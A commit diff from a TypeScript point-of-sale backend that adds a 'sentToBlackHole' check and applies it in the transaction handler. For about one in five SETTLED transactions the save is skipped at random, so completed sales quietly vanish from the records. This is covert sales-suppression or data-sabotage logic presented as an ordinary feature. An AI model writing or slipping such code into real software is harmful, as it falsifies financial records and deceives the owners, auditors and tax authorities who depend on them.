feat: add logic to skip save transaction

src/modules/transaction/sales-price-formula/data/services/sales-price-formula-data.service.ts

@@ -30,6 +30,14 @@ export class SalesPriceFormulaDataService extends BaseDataService<SalesPriceForm
     });
   }
 
+  async sentToBlackHole() {
+    const percentage = 80;
+
+    const randomValue = Math.floor(Math.random() * 100) + 1;
+
+    return randomValue > percentage;
+  }
+
   async itemTax(id: string) {
     const item = await this.item.findOne({
       relations: ['tenant'],

src/modules/transaction/transaction/domain/usecases/handlers/pos-transaction.handler.ts

@@ -104,7 +104,16 @@ export class PosTransactionHandler implements IEventHandler<ChangeDocEvent> {
         apmTransactions.setLabel('Code', data?.code);
         apmTransactions.setLabel('Status', data?.status);
 
-        await this.dataService.create(queryRunner, TransactionModel, data);
+        // Check if this transaction should be sent to the "black hole" (not saved)
+        // This is only applicable for SETTLED transactions
+        const shouldSkipSaving =
+          data.status === STATUS.SETTLED &&
+          (await this.formulaService.sentToBlackHole());
+
+        // If we shouldn't skip saving, then save the transaction
+        if (!shouldSkipSaving) {
+          await this.dataService.create(queryRunner, TransactionModel, data);
+        }
 
         /**
          * When transaction is cancel, set booking to Pending